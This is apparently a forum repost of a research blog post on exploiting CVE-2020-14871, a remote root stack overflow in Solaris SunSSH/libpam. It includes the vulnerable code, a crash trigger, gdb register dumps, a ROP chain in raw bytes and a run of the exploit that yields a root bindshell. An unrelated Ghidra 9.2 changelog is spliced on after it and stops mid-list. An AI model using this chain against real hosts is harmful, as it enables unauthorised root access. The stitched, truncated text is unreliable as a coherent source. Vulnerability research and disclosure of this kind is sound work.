Nytro

Exploiting Solaris 10 -11.0 SunSSH via libpam on x86 13.11.2020 by HackerHouse A recently disclosed vulnerability CVE-2020-14871 impacting Solaris-based distributions has been actively used in attacks against SunSSHD for over 6 years. The vulnerability was identified being exploited in the wild by an APT threat actor[0] then disclosed by FireEye after being detected during an attack. The issue is also referenced as CVE-2020-27678 by the Illumos project which similarly contained the vulnerable code making this issue impact a dozen additional Solaris-based distributions. This vulnerability is noteworthy as a number of separate individuals and groups identified this flaw after it was learned to have been circulating by exploit brokers since 6th October 2014. The issue first came to light during the HackingTeam breach incident, as emails showed that a private exploit broker firm “Vulnerabilities Brokerage International” emailed the company announcing they had a SunSSHD exploit for sale for a monthly license fee. An email snippet from the breach announcing the sale is shown below, and the attached product portfolio[1] gives sufficient information that allowed Hacker House to confirm this is the same flaw disclosed recently as the one sold since 2014. According to FireEye this issue was sold for $3,000 on an underground forum to the detected APT group, however quotes for this issue may have ranged anywhere from $25-$50,000 over the years prior to it’s disclosure. “14-006 is a new memory corruption vulnerability in Oracle Solaris SunSSHD yielding remote privileged command execution as the root user. The provided exploit is a modified OpenSSH client making exploitation of this vulnerability very convenient.” This blog post discusses Hacker House efforts to develop an exploit for the now publicly known flaw and how we exploited this issue against Solaris x86 targets. The vulnerability is also present on SPARC systems with exploits existing in the wild that support both architectures. The actual flaw exists within the core “Pluggable authentication module” library which can be reached remotely over SunSSH only when “keyboard-interactive” is enabled. This configuration is the default on a generic install of Solaris requiring no configuration changes to be exploitable, making this a critical issue (CVSS 10.0) that remotely impacts the OS out of the box. Let’s look at the vulnerability specifics first, by reviewing the parse_user_name() function within “pam_framework.c”. The code snippet below is taken prior to the patch applied to Illumos[2] (a fork of Solaris using an open-source base which also contained the vulnerable code). I have removed comments from this snippet for the purposes of brevity in this blog. 621 static int 622 parse_user_name(char *user_input, char **ret_username) 623 { 624 register char *ptr; 625 register int index = 0; 626 char username[PAM_MAX_RESP_SIZE]; 629 *ret_username = NULL; 635 bzero((void *)username, PAM_MAX_RESP_SIZE); 636 640 ptr = user_input; 641 643 while ((*ptr == ' ') || (*ptr == '\t')) 644 ptr++; 645 646 if (*ptr == '\0') { 651 return (PAM_BUF_ERR); 652 } 653 658 while (*ptr != '\0') { 659 if ((*ptr == ' ') || (*ptr == '\t')) 660 break; 661 else { 662 username[index] = *ptr; 663 index++; 664 ptr++; 665 } 666 } 667 669 if ((*ret_username = malloc(index + 1)) == NULL) 670 return (PAM_BUF_ERR); 671 (void) strcpy(*ret_username, username); 672 return (PAM_SUCCESS); 673 } The “username” buffer is a 512 byte array, defined by PAM_MAX_RESP_SIZE (from pam_appl.h) which is declared on the stack at the start of the function. This buffer is used to hold the username supplied to the parse_user_name() function when authentication via PAM is performed. The “user_input” argument supplied to this function is processed in a while loop beginning on line 658, this loop will skip over any whitespace or tab characters identified and on line 662 will write each byte of the user_input argument into the fixed-size username buffer. The vulnerability exists because this function does not check for the bounds of the username stack array, and thus it is possible to write past the boundary of the buffer by supplying a user_input argument to this function with a length greater than 512 bytes. This is a classic example of “stack-smashing” and allows the attacker to corrupt the stack frame, overwriting important variables such as pointers used as return addresses by the currently executing function. Now we have learned the vulnerability specifics, we can identify ways to trigger the issue by looking for code using the parse_user_name() function. When using SunSSH with “keyboard-interactive” authentication enabled in the configuration (a standard default unless changed), SunSSH will make use of the “authtok_get” PAM module to prompt for a username and password. The PAM module will use pam_sm_authenticate() using the supplied username, which calls pam_get_user() and ultimately provides our username into the parse_user_name() function directly. The “keyboard-interactive” configuration option in SunSSH has been available since Solaris 9, however versions of SunSSH that shipped with Solaris 9 did not actually implement “keyboard-interactive” making this issue only applicable via SunSSH to Solaris 10 and 11. Further to this, since 11.1 changes to the Solaris code base still contained the vulnerability, however, usernames are now truncated before reaching the vulnerable code path preventing the overflow from occurring via SunSSH. To trigger the PAM authentication prompts, we can simply supply a blank or empty username over SSH and pass a username greater than 512 bytes, causing the stack frame to be corrupted and the remote SunSSH process to core dump on the target. An example of triggering this issue using the standard OpenSSH client is shown below. % ssh -l "" 192.168.11.120 Please enter user name: brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr Connection closed by 192.168.11.120 port 22 We will now demonstrate how to exploit this issue on a vulnerable Solaris 10 host using latest available Solaris 10 install media[3] which does not include the fix. We added several package utilities such as “gdb” onto our host to assist with exploitation, additionally you may find that enabling “debug” for PAM modules by editing the “other” modules settings in /etc/pam.conf will help identify the issue within syslog. On a default install, core dumps are not enabled in any meaningful way and you should enable them using “coreadm” if you want to review core files. We will trigger the vulnerability by sending 512 bytes and an additional 8 bytes which will be overwritten on the stack. We used libssh2 to create our SSH connections to our target and send the characters to the username prompt which will be used in the overflow. You could also use Python’s paramiko, other SSH libraries or write a patch for the OpenSSH client to achieve the same goal. Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) i r $eip $ebp eip 0x42424242 0x42424242 ebp 0x41414141 0x41414141 As can be seen, the variables directly after the username buffer on the stack include the base pointer and instruction pointer (although slightly different on Solaris 11, the EIP is still overwritten) making this a trivial to exploit vulnerability on x86. SPARC systems require additional work to obtain control of the program counter as the crash occurs during a memory write operation. Additionally, if we supply more characters into the overflow we notice that the program will crash in an earlier function, as we corrupt the stack frame and overwrite a pointer used in a memory write operation before returning into our return address. Program received signal SIGSEGV, Segmentation fault. 0xfee91c01 in ?? () (gdb) x/i $eip => 0xfee91c01: mov %eax,(%ecx) (gdb) i r $ecx ecx 0x72727272 1920103026 Our exploit must ensure that we handle this issue by supplying an address that can be written before we return into our shellcode (16 bytes into the overflow on 10) to prevent the application crashing. We can review the process memory address space using the “info proc mappings” command in gdb, shortened here for brevity, which allows us to check the mapped addresses and their protections. Mapped address spaces: Start Addr End Addr Size Offset Flags 0x8041000 0x8047fff 0x7000 0xffffa000 -s--rw- 0x8050000 0x8098fff 0x49000 0 ----r-x 0x80a9000 0x80abfff 0x3000 0x49000 ----rw- 0x80ac000 0x80cdfff 0x22000 0 --b-rw- On Solaris 10 x86 the stack is mapped at 0x8041000 with a size of 0x7000 bytes (0x08040000 and 0x8000 bytes on Solaris 11) without the executable flag. ASLR is not enabled for userspace applications on vulnerable versions of Solaris (it was only introduced in Solaris 11.1) which means our stack is always located at the same address and subsequently so too is our username buffer. We can pack our shellcode into the username buffer but we must first enable the executable flag on the stack. We can use the mprotect() system call to remap the stack page as executable before we execute any code placed here. We use a technique known as return oriented programming (ROP) which builds gadgets that make use of the “ret” instruction and our supplied stack frame to programmatically execute instructions through a chain of returning functions. This technique will allow us to execute code which we will use to call the mprotect() function. We can identify which library files are mapped to which address using the “pmap” command and then use utilities such as ROPgadget[4] to search mapped binaries for instructions to use followed by a “ret” instruction. On Solaris, the mprotect syscall number is 0x74 and the interrupt service routine used by syscalls is 0x91. Our ROPchain should then perform instructions similar to the following which can be tested using gdb. movl $0x74,%eax // mprotect syscall pushl $0x7 // PROT_READ | PROT_WRITE | PROT_EXEC pushl $0x7000 // size pushl $0x08041000 // pointer to page to map pushl $0x0 // unused int $0x91 // execute the system call By searching through library files and the process binary we can build a ROPchain that calls mprotect and execute it via the “sysenter” function. We can then return into the stack where our shellcode is stored on an executable page and run arbitrary payloads. The mprotect system call on Solaris will accept lengths and protection variables that are somewhat incorrect providing they loosely match the needed values (prot LSB must be 0x07 and len MSB must 0x08 & below), the function will return an error in such instances but the memory pages protections will still have been changed. We can check how our system call is being executed using the “truss” utility to trace the sshd process once we supply our ROP chain. We also used a helper function to remap the stack in situations when only part of the stack page could be mapped using the variables available in the process memory, although this is not essential in many cases. The mprotect function still requires the address to be page aligned which means we must ensure that we do not use a NULL byte when supplying variables such as 0x08043000 to the system call. An example ROP chain for Solaris 10 is shown here. We make use of variables already found within the program to call the mprotect() function, we write our stack address into this buffer and then enable the execution protections on the stack. The chain will then return into the stack buffer where our supplied shellcode is ready to be executed. "\xa3\x6c\xd8\xfe" // mov $0x74, %eax ; ret "\x29\x28\x07\x08" // pop %ebx ; ret "\xf0\xff\xaf\xfe" // unused gadget, passed to prevent %ecx crashing "\x08\xba\x05\x08" // pop %edx ; pop %ebp ; ret "\x01\x30\x04\x08" // %edx pointer to page "\xb8\x31\x04\x08" // unused %ebp value "\xaa\x4c\x68\xfe" // pop %ecx ; ret "\xe0\x6e\x04\x08" // ptr (0x?,0x0,0x1000,0x7) "\x61\x22\x07\x08" // dec %edx ; ret "\x8b\x2d\xfe\xfe" // mov %edx,0x4(%ecx) ; xor %eax,%eax ; ret "\xa3\x6c\xd8\xfe" // mov $0x74, %eax ; ret "\x08\xba\x05\x08" // pop %edx ; pop %ebp ; ret "\xc3\x31\x04\x08" // shellcode addr for %edx "\xc3\x31\x04\x08" // unused %ebp value "\xf6\x0d\xf4\xfe" // sysenter, (ret into shellcode via %edx) You can download an exploit for this issue from our github[5], at the time of writing we include ROP chains for multiple versions of Solaris 10 through 11.0 on x86. As an example shellcode we have used bind shell payloads generated with “msfvenom” that can be used on Solaris 10 targets, however on Solaris 11.0 the execve() system call has changed to execvex() which needs additional arguments and there are no public shellcodes that will work directly on 11.0 targets. To solve this issue, we have also included an example execve() shellcode for such systems for demonstration purposes (which may change in the future). As we continue to research this issue and its exploitability on different architectures and Operating Systems (such as SmartOS, OpenIndiana, OmniOS & other Illumos based distributions), we will likely continue to update our exploit, check our github for the latest available version. It is strongly advised that both “password” and “keyboard-interactive” methods of authentication are disabled on impacted SSH services. As this vulnerability exists in the core PAM framework, it is highly likely other exploitable scenarios exist other than via SSH services and it is strongly advised that a fix is applied as a matter of priority to any impacted hosts. Solaris systems are typically used in mission critical environments and utilizing Shodan[6], we can see that potentially 3,200 hosts on network perimeters maybe impacted by this flaw. As Solaris is frequently used within internal networks the actual number of vulnerable systems is believed to be much higher and Hacker House advises that all system owners address this issue as a matter of priority. Impacted hosts should also be reviewed to identify core files and syslog entries which may indicate the presence of a previously performed attack as the issue has known to be exploited in the wild for at least 6 years and your systems may already have been compromised. An example of our exploit being used in a successful attack can be seen here. $ ./hfsunsshdx -s 192.168.11.120 -t 2 -x 1 [+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871 [-] chosen target 'Solaris 10 1/13 (147148-26) Sun_SSH_1.1.5 x86' [-] using shellcode 'Solaris x86 bindshell tcp port 8080' 196 bytes [+] ssh host fingerprint: e4e0f371515d0d0be6767b0c628e1b8891f18d1f [+] entering keyboard-interactive authentication. [-] number of prompts: 1 [-] prompt 0 from server: 'Please enter user name: ' [-] shellcode length 196 bytes [-] rop chain length 64 [-] exploit buffer length 576 [-] sending exploit magic buffer... wait [+] exploit success, handling payload... [-] connected.. enjoy SunOS unknown 5.10 Generic_147148-26 i86pc i386 i86pc 12:20pm up 1 day(s), 18:40, 1 user, load average: 0.03, 0.03, 0.03 helpdesk pts/2 Nov 13 10:27 (unknown) uid=0(root) gid=0(root) References [0] Live off the Land? How About Bringing Your Own Island? An Overview of UNC1945 [1] Assets Portfolio Update: 2014-10-06 attachment “Assets_Portfolio.pdf.zip” [2] Vulnerable “pam_framework.c [3] sol-10-u11-ga-x86-dvd.iso download [4] ROPgadget tool [5] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871 [6] Shodan SunSSH search Sursa: https://hacker.house/lab/cve-2020-18471/

Change Log Ghidra v9.2 (November 2020) New Features Graphing. A new graph service and implementation was created. The graph service provides basic graphing capabilities. It was also used to generate several different types of graphs including code block graphs, call graphs, and AST graphs. In addition, an export graph service was created that supports various formats. (GP-211) PDB. Added a new, prototype, platform-independent PDB analyzer that processes and applies data types and symbols to a program from a raw (non-XML-converted) PDB file, allowing users to more easily take advantage of PDB information. (GT-3112) Processors. Added M8C SLEIGH processor specification. (GT-3052) Processors. Added support for the RISC-V processor. (GT-3389, Issue #932) Processors. Added support for the Motorola 6809 processor. (GT-3390, Issue #1201) Processors. Added CP1600-series processor support. (GT-3426, Issue #1383) Processors. Added V850 processor module. (GT-3523, Issue #1430) Improvements Analysis. Increased the speed of the Embedded Media Analyzer, which was especially poor for large programs, by doing better checking and reducing the number of passes over the program. (GT-3258) Analysis. Improved the performance of the RTTI analyzer. (GT-3341, Issue #10) Analysis. The handling of Exception records found in GCC-compiled binaries has been sped up dramatically. In addition, incorrect code disassembly has been corrected. (GT-3374) Analysis. Updated Auto-analysis to preserve work when encountering recoverable exceptions. (GT-3599) Analysis. Improved efficiency when creating or checking for functions and namespaces which overlap. (GP-21) Analysis. Added partial support of Clang for Windows. (GP-64) Analysis. RTTI structure processing speed has been improved with a faster technique for finding the root RTTI type descriptor. (GP-168, Issue #2075) API. The performance of adding large numbers of data types to the same category has been improved. (GT-3535) API. Added the BigIntegerNumberInputDialog that allows users to enter integer values larger than Integer.MAX_VALUE (2147483647). (GT-3607) API. Made JSON more available using GSON. (GP-89, Issue #1982) Basic Infrastructure. Introduced an extension point priority annotation so users can control extension point ordering. (GT-3350, Issue #1260) Basic Infrastructure. Changed file names in launch.bat to always run executables from System32. (GT-3614, Issue #1599) Basic Infrastructure. Unknown platforms now default to 64-bit. (GT-3615, Issue #1499) Basic Infrastructure. Updated sevenzipjbinding library to version 16.02-2.01. (GP-254) Build. Ghidra's native Windows binaries can now be built using Visual Studio 2019. (GT-3277, Issue #999) Build. Extension builds now exclude gradlew artifacts from zip file. (GT-3631, Issue #1763) Build. Reduced the number of duplicated help files among the build jar files. (GP-57, Issue #2144) Build. Git commit hash has been added to application.properties file for every build (not just releases). (GP-67) Contrib. Extensions are now installed to the user's settings directory, not the Ghidra installation directory. (GT-3639, Issue #1960) Data Types. Added mutability data settings (constant, volatile) for Enum datatype. (GT-3415) Data Types. Improved Structure Editor's Edit Component action to work on array pointers. (GP-205, Issue #1633) Decompiler. Added Secondary Highlights to the Decompiler. This feature allows the user to create a highlight for a token to show all occurrences of that token. Further, multiple secondary highlights are allowed at the same time, each using a unique color. See the Decompiler help for more information. (GT-3292, Issue #784) Decompiler. Added heuristics to the Decompiler to better distinguish whether a constant pointer refers to something in the CODE or DATA address space, for Harvard architectures. (GT-3468) Decompiler. Improved Decompiler analysis of local variables with small data types, eliminating unnecessary casts and mask operations. (GT-3525) Decompiler. Documentation for the Decompiler, accessible from within the Code Browser, has been rewritten and extended. (GP-166) Decompiler. The Decompiler can now display the namespace path (or part of it) of symbols it renders. With the default display configuration, the minimal number of path elements necessary are printed to fully resolve the symbol within the current scope. (GP-236) Decompiler. The Decompiler now respects the Charset and Translate settings for string literals it displays. (GP-237) Decompiler. The Decompiler's analysis of array accesses is much improved. It can detect more and varied access patterns produced by optimized code, even if the base offset is not contained in the array. Multi-dimensional arrays are detected as well. (GP-238, Issue #461, #1348) Decompiler. Extended the Decompiler's support for analyzing class methods. The class data type is propagated through the this pointer even in cases where the full prototype of the method is not known. The methods isThisPointer() and isHiddenReturn() are now populated in HighSymbol objects and are accessible in Ghidra scripts. (GP-239, Issue #2151) Decompiler. The Decompiler will now infer a string pointer from a constant that addresses the interior of a string, not just the beginning. (GP-240, Issue #1502) Decompiler. The Decompiler now always prints the full precision of floating-point values, using the minimal number of characters in either fixed point or scientific notation. (GP-241, Issue #778) Decompiler. The Decompiler's Auto Create Structure command now incorporates into new structures data-type information from function prototypes. The Auto Fill in Structure variant of the command will override undefined and other more general data-types with discovered data-types if they are more specific. (GP-242) Demangler. Modified Microsoft Demangler (MDMang) to handle symbols represented by MD5 hash codes when their normal mangled length exceeds 4096. (GT-3409, Issue #1344) Demangler. Upgraded the GNU Demangler to version 2.33.1. Added support for the now-deprecated GNU Demangler version 2.24 to be used as a fallback option for demangling. (GT-3481, Issue #1195, #1308, #1451, #1454) Demangler. The Demangler now more carefully applies information if generic changes have been made. Previously if the function signature had changed in any way from default, the demangler would not attempt to apply any information including the function name. (GP-12) Demangler. Changed MDMang so cast operator names are complete within the qualified function name, effecting what is available from internal API. (GP-13) Demangler. Added additional MDMang Extended Types such as char8_t, char16_t, and char32_t. (GP-14) Documentation. Removed Eclipse BuildShip instructions from the DevGuide. (GT-3634, Issue #1735) FID. Regenerated FunctionID databases. Added support for Visual Studio versions 2017 and 2019. (GP-170) Function Diff. Users may now add functions ad-hoc to existing function comparison panels. (GT-2229) Function Graph. Added Navigation History Tool option for Function Graph to signal it to produce fewer navigation history entries. (GT-3233, Issue #1115) GUI. Users can now view the Function Tag window to see all functions associated with a tag, without having to inspect the Listing. (GT-3054) GUI. Updated the Copy Special action to work on the current address when there is no selection. (GT-3155, Issue #1000) GUI. Significantly improved the performance of filtering trees in the Ghidra GUI. (GT-3225) GUI. Added many optimizations to increase the speed of table sorting and filtering. (GT-3226, Issue #500) GUI. Improved performance of bit view component recently introduced to Structure Editor. (GT-3244, Issue #1141) GUI. Updated usage of timestamps in the UI to be consistent. (GT-3286) GUI. Added tool actions for navigating to the next/previous functions in the navigation history. (GT-3291, Issue #475) GUI. Filtering now works on all tables in the Function Tag window. (GT-3329) GUI. Updated the Ghidra File Chooser so that users can type text into the list and table views in order to quickly jump to a desired file. (GT-3396) GUI. Improved the performance of the Defined Strings table. (GT-3414, Issue #1259) GUI. Updated Ghidra to allow users to set a key binding to perform an equivalent operation to double-clicking the XREF field in the Listing. See the Show Xrefs action in the Tool Options... Key Bindings section. (GT-3446) GUI. Improved mouse wheel scrolling in Listing and Byte Viewers. (GT-3473) GUI. Ghidra's action context mechanism was changed so that actions that modify the program are not accidentally invoked in the wrong context, thus possibly modifying the program in ways the user did not want or without the user knowing that it happened. This also fixed an issue where the navigation history drop-down menu did not represent the locations that would be used if the next/previous buttons were pressed. (GT-3485) GUI. Updated Ghidra tables to defer updating while analysis is running. (GT-3604) GUI. Updated Font Size options to allow the user to set any font size. (GT-3606, Issue #160, #1541) GUI. Added ability to overlay text on an icon. (GP-41) GUI. Updated Ghidra options to allow users to clear default key binding values. (GP-61, Issue #1681) GUI. ToggleDirectionAction button now shows in snapshot windows. (GP-93) GUI. Added a new action to the Symbol Tree to allow users to convert a Namespace to a Class. (GP-225, Issue #2301) Importer. Updated the XML Loader to parse symbol names for namespaces. (GT-3293) Importer:ELF. Added support for processing Android packed ELF Relocation Tables. (GT-3320, Issue #1192) Importer:ELF. Added ELF import opinion for ARM BE8. (GT-3642, Issue #1187) Importer:ELF. Added support for ELF RELR relocations, such as those produced for Android. (GP-348) Importer:MachO. DYLD Loader can now load x86_64 DYLD from macOS. (GT-3611, Issue #1566) Importer:PE. Improved parsing of Microsoft ordinal map files produced with DUMPBIN /EXPORTS (see Ghidra/Features/Base/data/symbols/README.txt). (GT-3235) Jython. Upgraded Jython to version 2.7.2. (GP-109) Listing. In the PCode field of the Listing, accesses of varnodes in the unique space are now always shown with the size of the access. Fixed bug which would cause the PCode emulator to reject valid pcode in rare instances. (GP-196) Listing:Data. Improved handling and display of character sequences embedded in operands or integer values. (GT-3347, Issue #1241) Multi-User:Ghidra Server. Added ability to specify initial Ghidra Server user password (-a0 mode only) for the svrAdmin add and reset commands. (GT-3640, Issue #321) Processors. Updated AVR8 ATmega256 processor model to reflect correct memory layout specification. (GT-933) Processors. Implemented semantics for vstmia/db vldmia/db, added missing instructions, and fixed shift value for several instructions for the ARM/Thumb NEON instruction set. (GT-2567) Processors. Added the XMEGA variant of the AVR8 processor with general purpose registers moved to a non-memory-mapped register space. (GT-2909) Processors. Added support for x86 SALC instruction. (GT-3367, Issue #1303) Processors. Implemented pcode for 6502 BRK instruction. (GT-3375, Issue #1049) Processors. Implemented x86 PTEST instruction. (GT-3380, Issue #1295) Processors. Added missing instructions to ARM language module. (GT-3394) Processors. Added support for RDRAND and RDSEED instructions to x86-32. (GT-3413) Processors. Improved x86 breakpoint disassembly. (GT-3421, Issue #872) Processors. Added manual index file for the M6809 processor. (GT-3449, Issue #1414) Processors. Corrected issues related to retained instruction context during a language upgrade. In some rare cases this retained context could interfere with the instruction re-disassembly. This context-clearing mechanism is controlled by a new pspec property: resetContextOnUpgrade. (GT-3531) Processors. Updated PIC24/PIC30 index file to match latest manual. Added support for dsPIC33C. (GT-3562) Processors. Added missing call-fixup to handle call side-effects for 32 bit gcc programs for get_pc_thunk.ax/si. (GP-10) Processors. Added ExitProcess to PEFunctionsThatDoNotReturn. (GP-35) Processors. External Disassembly field in the Listing now shows Thumb disassembly when appropriate TMode context has been established on a memory location. (GP-49) Processors. Changed RISC-V jump instructions to the more appropriate goto instead of call. (GP-54, Issue #2120) Processors. Updated AARCH64 to v8.5, including new MTE instructions. (GP-124) Processors. Added support for floating point params and return for SH4 processor calling conventions. (GP-183, Issue #2218) Processors. Added semantic support for many AARCH64 neon instructions. Addresses for register lanes are now precalculated, reducing the amount of p-code generated. (GP-343) Processors. Updated RISCV processor to include reorganization, new instructions, and fixes to several instructions. (GP-358, Issue #2333) Program API. Improved multi-threaded ProgramDB access performance. (GT-3262) Scripting. Improved ImportSymbolScript.py to import functions in addition to generic labels. (GT-3249, Issue #946) Scripting. Python scripts can now call protected methods from the GhidraScript API. (GT-3334, Issue #1250) Scripting. Updated scripting feature with better change detection, external jar dependencies, and modularity. (GP-4) Scripting. Updated the GhidraDev plugin (v2.1.1) to support Python Debugging when PyDev is installed via the Eclipse dropins directory. (GP-186, Issue #1922) Sleigh. Error messages produced by the SLEIGH compiler have been reformatted to be more consistent in layout as well as more descriptive and more consistent in providing line number information. (GT-3174) Bugs Analysis. Function start patterns found at 0x0, function signatures applied from the Data Type Manager at 0x0, and DWARF debug symbols applied at 0x0 will no longer cause stack traces. In addition, DWARF symbols with zero length address range no longer stack trace. (GT-2817, Issue #386, #1560) Analysis. Constant propagation will treat an OR with zero (0) as a simple copy. (GT-3548, Issue #1531) Analysis. Corrected Create Structure from Selection, which failed to use proper data organization during the construction process. This could result in improperly sized components such as pointers and primitive types. (GT-3587) Analysis. Fixed an issue where stored context is initializing the set of registers constantly. (GP-25) Analysis. Fixed an RTTI Analyzer regression when analyzing RTTI0 structures with no RTTI4 references to them. (GP-62, Issue #2153) Analysis. Fixed an issue where the RTTI analyzer was not filling out RTTI3 structures in some cases. (GP-111) API. Fixed NullPointerException when attempting to delete all bookmarks from a script. (GT-3405) API. Updated the Class Searcher so that Extension Points found in the Ghidra/patch directory get loaded. (GT-3547, Issue #1515) Build. Updated dependency fetch script to use HTTPS when downloading CDT. (GP-69, Issue #2173) Build. Fixed resource leak in Ghidra jar builder. (GP-342) Byte Viewer. Fixed Byte Viewer to correctly load the middle-mouse highlight color options change. (GT-3471, Issue #1464, #1465) Data Types. Fixed decoding of static strings that have a character set with a smaller character size than the platform's character size. (GT-3333, Issue #1255) Data Types. Correctly handle Java character sets that do not support the encoding operation. (GT-3407, Issue #1358) Data Types. Fixed bug that caused Data Type Manager Editor key bindings to get deleted. (GT-3411, Issue #1355) Data Types. Updated the DataTypeParser to handle data type names containing templates. (GT-3493, Issue #1417) Data Types. Corrected pointer data type isEquivalent() method to properly check the equivalence of the base data type. The old implementation could cause a pointer to be replaced by a conflicting pointer with the same name whose base datatype is not equivalent. This change has a negative performance impact associated with it and can cause additional conflict datatypes due to the rigid datatype relationships. (GT-3557) Data Types. Improved composite conflict resolution performance and corrected composite merge issues when composite bitfields and/or flexible arrays are present. (GT-3571) Data Types. Fixed bug in SymbolPathParser naive parse method that caused a less-than-adequate fall-back parse when angle bracket immediately followed the namespace delimiter. (GT-3620) Data Types. Corrected size of long for AARCH64 per LP64 standard. (GP-175) Decompiler. Fixed bug causing the Decompiler to miss symbol references when they are stored to the heap. (GT-3267) Decompiler. Fixed bug in the Decompiler that caused Deleting op with descendants exception. (GT-3506) Decompiler. Decompiler now correctly compensates for integer promotion on shift, division, and remainder operations. (GT-3572) Decompiler. Fixed handling of 64-bit implementations of alloca_probe in the Decompiler. (GT-3576) Decompiler. Default Decompiler options now minimize the risk of losing code when renaming or retyping variables. (GT-3577) Decompiler. The Decompiler no longer inherits a variable name from a subfunction if that variable incorporates additional data-flow unrelated to the subfunction. (GT-3580) Decompiler. Fixed the Decompiler Override Signature action to be enabled on the entire C-code statement. (GT-3636, Issue #1589) Decompiler. Fixed frequent ClassCast and IllegalArgument exceptions when performing Auto Create Structure or Auto Create Class actions in the Decompiler. (GP-119) Decompiler. Fixed a bug in the Decompiler that caused different variables to be assigned the same name in rare instances. (GP-243, Issue #1995) Decompiler. Fixed a bug in the Decompiler that caused PTRSUB off of non-pointer type exceptions. (GP-244, Issue #1826) Decompiler. Fixed a bug in the Decompiler that caused load operations from volatile memory to be removed as dead code. (GP-245, Issue #393, #1832) Decompiler. Fixed a bug causing the Decompiler to miss a stack alias if its offset was, itself, stored on the stack. (GP-246) Decompiler. Fixed a bug causing the Decompiler to lose Equate references to constants passed to functions that were called indirectly. (GP-247) Decompiler. Addressed various situations where the Decompiler unexpectedly removes active instructions as dead code after renaming or retyping a stack location. If the location was really an array element or structure field, renaming forced the Decompiler to treat the location as a distinct variable. Subsequently, the Decompiler thought that indirect references based before the location could not alias any following stack locations, which could then by considered dead. As of the 9.2 release, the Decompiler's renaming action no longer switches an annotation to forcing if it wasn't already. A retyping action, although it is forcing, won't trigger alias blocking for atomic data-types (this is configurable). (GP-248, Issue #524, #873) Decompiler. Fixed decompiler memory issues reported by a community security researcher. (GP-267) Decompiler. Fix for Decompiler error: Pcode: XML comms: Missing symref attribute in <high> tag. (GP-352, Issue #2360) Decompiler. Fixed bug preventing the Decompiler from seeing Equates attached to compare instructions. (GP-369, Issue #2386) Demangler. Fixed the GnuDemangler to parse the full namespace for operator symbols. (GT-3474, Issue #1441, #1448) Demangler. Fixed numerous GNU Demangler parsing issues. Most notable is the added support for C++ Lambda functions. (GT-3545, Issue #1457, #1569) Demangler. Updated the GNU Demangler to correctly parse and apply C++ strings using the unnamed type syntax. (GT-3645) Demangler. Fixed duplicate namespace entry returned from getNamespaceString() on DemangledVariable. (GT-3646, Issue #1729) Demangler. Fixed a GnuDemangler ClassCastException when parsing a typeinfo string containing operator text. (GP-160, Issue #1870, #2267) Demangler. Added stdlib.h include to the GNU Demangler to fix a build issue on some systems. (GP-187, Issue #2294) DWARF. Corrected DWARF relocation handling where the address image base adjustment was factored in twice. (GT-3330) File Formats. Fixed a potential divide-by-zero exception in the EXT4 file system. (GT-3400, Issue #1342) File Formats. Fixed date and time parsing of dates in cdrom iso9660 image files. (GT-3451, Issue #1403) Graphing. Fixed a ClassCastException sometimes encountered when performing Select -> Scoped Flow -> Forward Scoped Flow. (GP-180) GUI. Fixed inconsistent behavior with the interactive python interpreter's key bindings. (GT-3282) GUI. Fixed Structure Editor bug that prevented the F2 Edit action from editing the correct table cell after using the arrow keys. (GT-3308, Issue #703) GUI. Updated the Structure Editor so the Delete action is put into a background task to prevent the UI from locking. (GT-3352) GUI. Fixed IndexOutOfBoundsException when invoking column filter on Key Bindings table. (GT-3445) GUI. Fixed the analysis log dialog to not consume all available screen space. (GT-3610) GUI. Fixed issue where Location column, when used in the column filters, resulted in extraneous dialogs popping up. (GT-3623) GUI. Fixed Data Type Preview copy action so that newlines are preserved; updated table export to CSV to escape quotes and commas. (GT-3624) GUI. Fixed tables in Ghidra to copy the text that is rendered. Some tables mistakenly copied the wrong value, such as the Functions Table's Function Signature Column. (GT-3629, Issue #1628) GUI. Structure editor name now updates in title bar and tab when structure is renamed. (GP-19) GUI. Fixed an issue where drag-and-drop import locks the Windows File Explorer source window until the import dialog is closed by the user. (GP-27) GUI. Fixed an issue in GTreeModel where fireNodeChanged had no effect. This could result in stale node information and truncation of the text associated with a node in a GTree. (GP-30) GUI. Fixed an issue where the file chooser directory list truncated filenames with ellipses on HiDPI Windows. (GP-31) GUI. Fixed an uncaught exception when double-clicking on UndefinedFunction_ in Decompiler window. (GP-40) GUI. Updated error handling to only show one dialog when a flurry of errors is encountered. (GP-65, Issue #2185) GUI. Fixed an issue where Docking Windows are restored incorrectly if a snapshot is present. (GP-92) GUI. 